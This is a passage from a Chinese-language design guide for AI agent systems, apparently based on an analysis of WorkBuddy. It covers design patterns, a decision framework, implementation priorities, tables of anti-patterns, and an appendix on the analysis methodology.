| 11 | **管道输入作为上下文** | stdin 的内容自动成为 Agent 的分析对象 | CLI Agent |
| 12 | **全生命周期事件 Hook** | Session / PreToolUse / PostToolUse / Task / SubAgent 等事件 | 需要自定义策略引擎的框架 |
| 13 | **Agent 主动写记忆** | Agent 每完成实质性工作后必须自动记录日志 | 所有 Agent 系统 |
| 14 | **两次纠正法则** | 同一错误纠正两次仍失败 → 清空上下文，更好的提示重来 | 所有 Agent 系统 |

---

## 12. 设计决策框架

### 12.1 开始设计 Agent 系统前要回答的问题

#### 基础决策

1. **Agent 会操作什么？** 文件系统？数据库？网络？外部 API？其他应用？
2. **用户如何与 Agent 交互？** CLI？Web UI？IDE 集成？API？
3. **Agent 有多自主？** 每步确认（Default）→ 编辑放行（Accept Edits）→ 计划模式（Plan）→ 全自主（Bypass）？
4. **Agent 如何验证自己？** 测试？编译？lint？截图对比？人工审核？
5. **Agent 的记忆范围多大？** 单会话？跨会话？跨设备？跨项目？

#### 架构决策

6. **能力如何扩展？** 硬编码在提示词？Skill 文件？插件市场？MCP 服务器？
7. **安全如何保障？** 单层规则？多层过滤？沙箱？Hook 策略引擎？
8. **如何管理上下文窗口？** 清空策略？压缩策略？子代理隔离？分级加载？
9. **支持多 Agent 协作吗？** 单 Agent？主代理 + 子代理？多 Agent 对等协作？
10. **Agent 有人格吗？** 中性工具？有偏好？有性格？可演化？

### 12.2 每个原则的实施优先级

| 原则 | MVP 阶段 | 成熟期 | 说明 |
|------|---------|-------|------|
| Agent Loop | ✅ 必须 | ✅ 增强 | 最基础的执行框架 |
| 人格化身份 | ⚠️ 基础 | ✅ 完善 | MVP 可以简单，但必须有 |
| 分层记忆 | ⚠️ 单层 | ✅ 三层 | MVP 可以用单文件，成熟后分层 |
| 纵深安全 | ✅ 必须 | ✅ 增强 | 安全不能是后加的 |
| 能力扩展 | ❌ 后期 | ✅ 建设 | MVP 不需要复杂扩展 |
| 工作模式 | ✅ 基础 | ✅ 增强 | 至少要有 Craft + Plan |
| 上下文管理 | ⚠️ 基础 | ✅ 增强 | 至少要有 /clear |
| Unix 哲学 | ✅ 必须 | ✅ 保持 | 从一开始就用 CLI 优先 |

---

## 13. 常见反模式

### 13.1 过度设计反模式

| 反模式 | 表现 | 后果 | 纠正 |
|--------|-----|------|------|
| **万能 Agent** | 试图让一个 Agent 做所有事 | 上下文臃肿、响应慢、错误率高 | 拆分为专门 Agent，通过委派协作 |
| **提示词膨胀** | 把所有知识塞进系统提示词 | 越关键的指令越容易被淹没 | 分层：提示词→CODEBUDDY.md→Skills→Hooks |
| **安全 = 一道锁** | 只在入口处做一次权限检查 | 一旦绕过，全线暴露 | 纵深防御：规则→检查→沙箱→Hook 多层 |
| **用户背锅** | Agent 做错了说"是您让我做的" | 信任崩塌 | Agent 应该对自己产出的东西有判断力 |
| **伪验证** | Agent 说"已完成"但实际没验证 | 隐蔽的 bug 流入生产 | 强制可验证的输出标准 |

### 13.2 交互设计反模式

| 反模式 | 表现 | 纠正 |
|--------|-----|------|
| **模式切换门槛高** | 需要菜单→设置→确认才能切换模式 | 一键切换 + 状态栏显示 |
| **错误纠正循环** | 同一个错反复纠正，上下文被污染 | 两次后 /clear + 更好提示 |
| **调研污染** | 调研任务读了 100 个文件塞满上下文 | 用子代理隔离调研 |
| **权限疲劳** | 每次操作都弹窗，用户机械点"允许" | 按场景分级放行（信任目录、模式切换） |

### 13.3 记忆设计反模式

| 反模式 | 表现 | 纠正 |
|--------|-----|------|
| **只读不写** | Agent 被动读记忆，不主动写 | Agent 必须主动判断并记录 |
| **从不清理** | 记忆文件无限增长 | 定期蒸馏（>30 天 → 结构化笔记） |
| **盲目存所有对话** | 用向量库存每一次对话 | 向量库 + 结构化日志 + 蒸馏三层互补 |
| **记忆与安全混淆** | 在记忆文件中存储密钥 | 记忆文件是明文，绝不可存敏感信息 |

---

## 附录：参考资料与方法论

### 分析方法

本分析基于以下方法论的组合：

1. **系统提示词解构**：分析 Agent 收到的完整系统指令，拆解角色定义、工具编排、权限规则、记忆注入等模块
2. **文档阅读与交叉验证**：阅读官方 CLI 文档、最佳实践、安全策略，与系统提示词中的设计对照验证
3. **架构推理**：从文件和工具的组织方式逆向推导架构决策
4. **模式提取**：将重复出现的解决方案归纳为可复用的设计模式

### 核心参考

- WorkBuddy CLI 官方文档（overview, best-practices, permissions, skills, hooks, memory, checkpointing, goal, mcp）
- WorkBuddy 系统提示词结构分析
- SOUL.md / IDENTITY.md / USER.md 身份文件体系
- Built-in Skills（skill-creator, expert-manager, wb-finance-skill 等）
- Plugin 体系（plugin.json, hooks.json, marketplace.json）

### 设计思想的普适性

虽然本文的分析素材来自 WorkBuddy，但提炼出的 8 大设计原则、12 个设计模式和 3 类反模式具有**通用性**。它们适用于：

- AI 编程助手（如 WorkBuddy, Claude Code, GitHub Copilot, Cursor）
- 通用 AI Agent 平台（如 LangChain Agent, AutoGPT）
- 垂直领域 Agent（金融分析、医疗辅助、法律咨询）
- 企业内部智能助手（运维 Agent、客服 Agent、数据分析 Agent）

核心在于：**Agent 不是 Chatbot 的升级版，而是一种全新的交互范式**。它需要全新的设计哲学、安全模型和能力扩展体系。

---

> *这份文档是一个起点，不是终点。Agent 系统设计是一个快速演化的领域，本文的分析框架应该随着实践不断更新。*
>
> *如果你正在设计 Agent 系统，希望这份文档能给你一个系统化的思考框架，帮助你做出更好的设计决策。*